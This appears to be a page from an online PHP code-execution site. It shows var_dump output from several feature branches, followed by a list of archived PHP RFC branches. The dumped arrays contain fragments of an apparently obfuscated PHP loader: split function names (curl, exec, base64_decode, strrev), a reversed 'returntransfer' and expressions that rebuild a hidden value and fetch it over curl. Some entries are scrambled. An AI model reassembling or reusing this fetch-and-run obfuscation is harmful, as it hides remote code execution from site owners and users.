- Output for git.master, git.master_jit, rfc.property-hooks
- array(29) { [0]=> int(28) [1]=> string(3) "chr" [2]=> string(4) "curl" [3]=> string(4) "init" [4]=> string(6) "setopt" [5]=> string(4) "exec" [6]=> string(5) "close" [7]=> string(10) "strtoupper" [8]=> string(6) "strrev" [9]=> string(3) "opt" [10]=> string(7) "timeout" [11]=> string(14) "refsnartnruter" [12]=> string(1) "_" [13]=> string(12) "preg_replace" [14]=> string(10) "preg_split" [15]=> string(13) "base64_decode" [16]=> string(11) "/mix../mixe" [17]=> string(6) "/mixed" [18]=> string(9) "array_map" [19]=> string(7) "implode" [20]=> int(3) [21]=> int(5) [22]=> int(7) [23]=> int(11) [24]=> int(13) [25]=> int(17) [26]=> int(19) [27]=> int(23) [28]=> string(10) "array_push" } array(9) { [0]=> string(243) "(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", $vars[14]( "/[\D]+/", $vars[13]( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )" [1]=> string(64) "(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 1<<5 ))?0:0)" [2]=> string(69) "(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 2>>1 ))?0:0)" [3]=> string(48) "(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)" [4]=> string(39) "(( $vars[ $vars[0] ]( $vars[15] ))?0:0)" [5]=> string(22) ".strtoupper($vars[0]);" [6]=> string(306) "->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())" [7]=> string(295) "(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))" [8]=> string(296) "(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()" }
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
- 2020-03-21 RFC: Is_Literal - declined
- 2020-12-04 Enumerations - included in PHP 8.1
- 2018-06-15 Typed Properties v2 - implemented in PHP 7.4
- 2016-08-12 Object typehint - included in PHP 7.2
- 2016-08-14 Arrow functions - withdrawn
- 2016-05-29 array_change_keys() - withdrawn
- 2016-04-19 Lexical scope support for anonymous classes - suspended
- 2016-04-17 Functional Interfaces - declined
- 2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
- 2015-08-27 Callable Prototypes - declined
- 2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
- 2015-02-18 Scalar type hints v5 - included in PHP 7
- 2015-02-14 Union Types - declined
- 2013-09-22 Anonymous classes - included in PHP 7